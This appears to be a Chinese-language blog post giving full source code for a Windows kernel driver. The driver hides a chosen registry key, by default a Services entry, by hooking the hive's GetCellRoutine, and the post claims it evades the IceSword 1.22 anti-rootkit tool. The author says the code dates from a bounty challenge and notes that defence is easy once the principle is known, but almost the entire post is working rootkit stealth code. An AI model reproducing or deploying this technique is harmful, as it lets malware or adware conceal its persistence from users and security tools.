17Mar

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

  1. </p>
  2. <p>#include <ntddk.h></p>
  3. <p>#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )</p>
  4. <p>#define CM_KEY_INDEX_ROOT      0x6972         // ir<br />
  5. #define CM_KEY_INDEX_LEAF      0x696c         // il<br />
  6. #define CM_KEY_FAST_LEAF       0x666c         // fl<br />
  7. #define CM_KEY_HASH_LEAF       0x686c         // hl</p>
  8. <p>// 一些CM的数据结构,只列出用到的开头部分<br />
  9. #pragma pack(1)<br />
  10. typedef struct _CM_KEY_NODE {<br />
  11.        USHORT Signature;<br />
  12.        USHORT Flags;<br />
  13.        LARGE_INTEGER LastWriteTime;<br />
  14.        ULONG Spare;               // used to be TitleIndex<br />
  15.        HANDLE Parent;<br />
  16.        ULONG SubKeyCounts[2];     // Stable and Volatile<br />
  17.        HANDLE SubKeyLists[2];     // Stable and Volatile<br />
  18.        // ...<br />
  19. } CM_KEY_NODE, *PCM_KEY_NODE;</p>
  20. <p>typedef struct _CM_KEY_INDEX {<br />
  21.        USHORT Signature;<br />
  22.        USHORT Count;<br />
  23.        HANDLE List[1];<br />
  24. } CM_KEY_INDEX, *PCM_KEY_INDEX;</p>
  25. <p>typedef struct _CM_KEY_BODY {<br />
  26.        ULONG Type;                // "ky02"<br />
  27.        PVOID KeyControlBlock;<br />
  28.        PVOID NotifyBlock;<br />
  29.        PEPROCESS Process;         // the owner process<br />
  30.        LIST_ENTRY KeyBodyList; // key_nodes using the same kcb<br />
  31. } CM_KEY_BODY, *PCM_KEY_BODY;</p>
  32. <p>typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);</p>
  33. <p>typedef struct _HHIVE {<br />
  34.        ULONG Signature;<br />
  35.        PGET_CELL_ROUTINE GetCellRoutine;<br />
  36.        // ...<br />
  37. } HHIVE, *PHHIVE;<br />
  38. #pragma pack()</p>
  39. <p>// 需隐藏的主键名<br />
  40. WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";</p>
  41. <p>PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;<br />
  42. PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;</p>
  43. <p>PCM_KEY_NODE g_HideNode = NULL;<br />
  44. PCM_KEY_NODE g_LastNode = NULL;</p>
  45. <p>// 打开指定名字的Key<br />
  46. HANDLE OpenKeyByName(PCWSTR pwcsKeyName)<br />
  47. {<br />
  48.        NTSTATUS status;<br />
  49.        UNICODE_STRING uKeyName;<br />
  50.        OBJECT_ATTRIBUTES oa;<br />
  51.        HANDLE hKey;</p>
  52. <p>       RtlInitUnicodeString(&uKeyName, pwcsKeyName);<br />
  53.        InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);<br />
  54.        status = ZwOpenKey(&hKey, KEY_READ, &oa);<br />
  55.        if (!NT_SUCCESS(status))<br />
  56.        {<br />
  57.            DbgPrint("ZwOpenKey Failed: %lx\n", status);<br />
  58.            return NULL;<br />
  59.        }</p>
  60. <p>       return hKey;<br />
  61. }</p>
  62. <p>// 获取指定Key句柄的KeyControlBlock<br />
  63. PVOID GetKeyControlBlock(HANDLE hKey)<br />
  64. {<br />
  65.        NTSTATUS status;<br />
  66.        PCM_KEY_BODY KeyBody;<br />
  67.        PVOID KCB;</p>
  68. <p>       if (hKey == NULL) return NULL;</p>
  69. <p>       // 由Key句柄获取对象体<br />
  70.        status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);<br />
  71.        if (!NT_SUCCESS(status))<br />
  72.        {<br />
  73.            DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);<br />
  74.            return NULL;<br />
  75.        }</p>
  76. <p>       // 对象体中含有KeyControlBlock<br />
  77.        KCB = KeyBody->KeyControlBlock;<br />
  78.        DbgPrint("KeyControlBlock = %lx\n", KCB);</p>
  79. <p>       ObDereferenceObject(KeyBody);</p>
  80. <p>       return KCB;<br />
  81. }</p>
  82. <p>// 获取父键的最后一个子键的节点<br />
  83. PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)<br />
  84. {<br />
  85.        // 获取父键的节点<br />
  86.        PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);<br />
  87.        // 获取子键的索引<br />
  88.        PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);</p>
  89. <p>       DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);</p>
  90. <p>       // 如果为根(二级)索引,获取最后一个索引<br />
  91.        if (Index->Signature == CM_KEY_INDEX_ROOT)<br />
  92.        {<br />
  93.            Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);<br />
  94.            DbgPrint("Index = %lx\n", Index);<br />
  95.        }</p>
  96. <p>       if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)<br />
  97.        {<br />
  98.            // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点<br />
  99.            return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);<br />
  100.        }<br />
  101.        else<br />
  102.        {<br />
  103.            // 一般叶索引,返回最后的节点<br />
  104.            return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);<br />
  105.        }<br />
  106. }</p>
  107. <p>// GetCell例程的钩子函数<br />
  108. PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)<br />
  109. {<br />
  110.        // 调用原函数<br />
  111.        PVOID pRet = g_pGetCellRoutine(Hive, Cell);<br />
  112.        if (pRet)<br />
  113.        {<br />
  114.            // 返回的是需要隐藏的节点<br />
  115.            if (pRet == g_HideNode)<br />
  116.            {<br />
  117.                DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);<br />
  118.                // 查询、保存并返回其父键的最后一个子键的节点<br />
  119.                pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);<br />
  120.                DbgPrint("g_LastNode = %lx\n", g_LastNode);<br />
  121.                // 隐藏的正是最后一个节点,返回空值<br />
  122.                if (pRet == g_HideNode) pRet = NULL;<br />
  123.            }<br />
  124.            // 返回的是先前保存的最后一个节点<br />
  125.            else if (pRet == g_LastNode)<br />
  126.            {<br />
  127.                DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);<br />
  128.                // 清空保存值,并返回空值<br />
  129.                pRet = g_LastNode = NULL;<br />
  130.            }<br />
  131.        }<br />
  132.        return pRet;<br />
  133. }</p>
  134. <p>NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)<br />
  135. {<br />
  136.        DbgPrint("DriverUnload()\n");<br />
  137.        // 解除挂钩<br />
  138.        if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;<br />
  139.        return STATUS_SUCCESS;<br />
  140. }</p>
  141. <p>NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)<br />
  142. {<br />
  143.        ULONG BuildNumber;<br />
  144.        ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive<br />
  145.        ULONG KeyCellOffset;       // KeyControlBlock->KeyCell<br />
  146.        HANDLE hKey;<br />
  147.        PVOID KCB, Hive;</p>
  148. <p>       DbgPrint("DriverEntry()\n");</p>
  149. <p>       pDrvObj->DriverUnload = DriverUnload;</p>
  150. <p>       // 查询BuildNumber<br />
  151.        if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;<br />
  152.        DbgPrint("BuildNumber = %d\n", BuildNumber);</p>
  153. <p>       // KeyControlBlock结构各版本略有不同<br />
  154.        // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以<br />
  155.        switch (BuildNumber)<br />
  156.        {<br />
  157.            case 2195:     // Win2000<br />
  158.                KeyHiveOffset = 0xc;<br />
  159.                KeyCellOffset = 0x10;<br />
  160.                break;<br />
  161.            case 2600:     // WinXP<br />
  162.            case 3790:     // Win2003<br />
  163.                KeyHiveOffset = 0x10;<br />
  164.                KeyCellOffset = 0x14;<br />
  165.                break;<br />
  166.            default:<br />
  167.                return STATUS_NOT_SUPPORTED;<br />
  168.        }</p>
  169. <p>       // 打开需隐藏的键<br />
  170.        hKey = OpenKeyByName(g_HideKeyName);<br />
  171.        // 获取该键的KeyControlBlock<br />
  172.        KCB = GetKeyControlBlock(hKey);<br />
  173.        if (KCB)<br />
  174.        {<br />
  175.            // 由KCB得到Hive<br />
  176.            PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);<br />
  177.            // GetCellRoutine在KCB中,保存原地址<br />
  178.            g_ppGetCellRoutine = &Hive->GetCellRoutine;<br />
  179.            g_pGetCellRoutine = Hive->GetCellRoutine;<br />
  180.            DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);<br />
  181.            // 获取需隐藏的节点并保存<br />
  182.            g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));<br />
  183.            // 挂钩GetCell例程<br />
  184.            Hive->GetCellRoutine = MyGetCellRoutine;<br />
  185.        }<br />
  186.        ZwClose(hKey);</p>
  187. <p>       return STATUS_SUCCESS;<br />
  188. }</p>
  189. <p>

Leave a Reply